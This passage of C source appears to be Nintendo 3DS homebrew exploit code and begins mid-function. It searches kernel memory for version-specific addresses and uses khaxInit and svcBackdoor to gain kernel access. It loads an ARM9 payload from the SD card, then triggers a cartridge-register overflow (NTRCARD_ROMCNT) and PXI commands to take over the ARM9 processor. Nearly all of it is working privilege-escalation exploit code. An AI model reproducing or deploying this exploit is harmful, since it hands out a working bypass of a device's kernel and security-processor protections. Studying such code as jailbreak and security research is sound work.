//02 50 A0 E1 MOV R5, R2
//00 80 A0 E1 MOV R8, R0
//05 26 81 E0 ADD R2, R1, R5,LSL#12
else if(mapMemoryAdr == -1 && 0xE92D5FFF == *(ii) && 0xE351041F == *(ii + 1) && 0xE1A04001 == *(ii + 2) && 0xE1A05002 == *(ii + 3) && 0xE1A08000 == *(ii + 4) && 0xE0812605 == *(ii + 5))
{
mapMemoryAdr = (uint8_t*)ii - 0xDFF80000;
//Dont need this on 3ds
if(mapMemoryAdr < 0x20000)
mapMemoryAdr += 0xfff00000; // 0xDFF80000;
}
//79 05 20 E1 BKPT 0x59
else if(PXI_BASE == -1 && 0xE1200579 == *(ii))
{
for(int jj = 0; jj < 2; jj++)
{
uint32_t *adr = ii + jj;
uint32_t opcode = *(adr);
//LDR R?, =data_area_start
if((opcode & 0xFFFF0000) == 0xE59F0000)
{
uint32_t adr2 = (uint32_t)((uint8_t*)adr + ((opcode&0xFFF) + 8));
PXI_BASE = (*(uint32_t *)adr2) + 0x10;
PXI_BASE = *(uint32_t*)PXI_BASE;
}
}
}
//80 00 08 F1 CPSIE I
//30 02 9F E5 LDR R0, =g_kernel_devmode
//00 00 D0 E5 LDRB R0, [R0]
//00 00 50 E3 CMP R0, #0
else if(PXI_BASE == -1 && 0xF1080080 == *(ii) && 0xE59F0000 == (*(ii + 1)&~0xFFF) && 0xE5D00000 == *(ii + 2) && 0xE3500000 == *(ii + 3))
{
uint32_t adr2 = *(uint32_t*)((uint8_t*)ii + 4 + ((*(ii + 1)&0xFFF) + 8)) + 6;
PXI_BASE = *(uint32_t*)(adr2);
}
}
return (wrapperAdr != -1) && (mapMemoryAdr != -1) && (PXI_BASE != -1);
}
void LoadArm9Payload()
{
FILE *file = fopen("sdmc:/load.bin","rb");
if (file == NULL)
{
printf("Error load.bin doesn't exist.");
while(1);
}
// seek to end of file
fseek(file,0,SEEK_END);
// file pointer tells us the size
a9bufferSize = (u32)ftell(file);
// seek back to start
fseek(file,0,SEEK_SET);
//allocate a buffer
a9buffer=malloc(a9bufferSize);
if(!a9buffer)
{
printf("Error failed to alloc a9buffer");
while(1);
}
//read contents !
off_t bytesRead = fread(a9buffer,1,a9bufferSize,file);
//close the file because we like being nice and tidy
fclose(file);
}
int main(int argc, char** argv)
{
gfxInitDefault(); //makes displaying to screen easier
//Initialize console on top screen. Using NULL as the second argument tells the console library to use the internal console structure as current one
consoleInit(GFX_TOP, NULL);
printf("Hello World!\n");
LoadArm9Payload();
Result ret = khaxInit();
printf("khaxInit returned %08lx\n", ret);
u32* resp = svcBackdoor(find_version_specific_addresses);
printf("wrapperAdr : %08x\n",wrapperAdr);
printf("mapMemoryAdr : %08x\n",mapMemoryAdr);
printf("PXI_BASE : %08x\n",PXI_BASE);
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
Result r = svcMapMemory(g_backdoorResult, 0x1EC00000, 0x300, 1);
printf("%08X\n", r);
u32 old_romcnt = -1;
int ctr = 0;
int shall_trigger_fs = 0;
static int do_overflow = 1; //Do this automatically
bool card_status = 0;
//consoleClear();
/*u32* resp = svcBackdoor(ResetCart);
(u32*)printf("FS Response:\n%08x %08x %08x %08x\n",
resp[0], resp[1], resp[2], resp[3]);*/
/*ret = FSUSER_CardSlotPowerOff(&card_status);
printf("card_status = %d (ret=%08X)\n",card_status,ret);
ret = FSUSER_CardSlotGetCardIFPowerStatus(&card_status);
printf("power_status = %d (ret=%08X)\n",card_status,ret);*/
while(1)
{
int has_changed = 0;
if(shall_trigger_fs==1) {
//printf("shall_trigger_fs\n");
gfxSetScreenFormat(GFX_TOP,GSP_BGR8_OES);
gfxSetScreenFormat(GFX_BOTTOM,GSP_BGR8_OES);
gfxSetDoubleBuffering(GFX_TOP,0);
gfxSetDoubleBuffering(GFX_BOTTOM,0);
gfxSwapBuffersGpu();
gspWaitForVBlank();
svcBackdoor(SendPXISSSSS);
has_changed = 1;
shall_trigger_fs = 0;
}
if(ctr++ == 0x2000) {
ctr = 0;
if(!aptMainLoop())
break;
//Scan all the inputs. This should be done once for each frame
hidScanInput();
//hidKeysDown returns information about which buttons have been just pressed (and they weren't in the previous frame)
//u32 kDown = hidKeysDown();
if(keysHeld() & KEY_START) break; // break in order to return to hbmenu
if(keysHeld() & KEY_Y)
{
do_overflow = 1;
printf("Do Overflow\n");
}
if(keysHeld() & KEY_X)
{
static int once = 0;
//if(!once)
{
printf("Triggering FS..\n");
has_changed = 1;
shall_trigger_fs = 1;
once = 1;
}
}
}
u32 romcnt = *NTRCARD_ROMCNT;
if(old_romcnt != romcnt) {
if(shall_trigger_fs > 1) shall_trigger_fs--;
if(do_overflow && ((romcnt & 0x1fff) == 0x1fff)) {
//printf("BEFORE %08X\n", *NTRCARD_ROMCNT);
*NTRCARD_ROMCNT = ((6 << 24) & 0x7FFFFFF) | 0x883F1FFF;
u32 temp = *NTRCARD_ROMCNT;
printf("Overflow! %08X EXPECTED %08X\n", temp, ((6 << 24) & 0x7FFFFFF) | 0x883F1FFF);
has_changed = 1;
shall_trigger_fs = 5;
}
old_romcnt = romcnt;
printf("%08X\n", *(vu32 *)0x1EC64004);
//printf("%08X %08X\n", *(vu32 *)0x1EC64008, *(vu32 *)0x1EC6400C);
}
if(has_changed)
{
// Flush and swap framebuffers
gfxFlushBuffers();
gfxSwapBuffers();
//Wait for VBlank
gspWaitForVBlank();
GSPGPU_ReadHWRegs(0x400468, (u32*)&gpu_regs[0], 8); // framebuffer 1 top left & framebuffer 2 top left
GSPGPU_ReadHWRegs(0x400494, (u32*)&gpu_regs[2], 8); // framebuffer 1 top right & framebuffer 2 top right
GSPGPU_ReadHWRegs(0x400568, (u32*)&gpu_regs[4], 8); // framebuffer 1 bottom & framebuffer 2 bottom
GSPGPU_ReadHWRegs(0x400478, (u32*)&gpu_regs[6], 4); // framebuffer select top
GSPGPU_ReadHWRegs(0x400578, (u32*)&gpu_regs[7], 4); // framebuffer select bottom
svcBackdoor(UpdateFramebufferInfo);
}
}
//closing all services even more so
gfxExit();
return 0;
}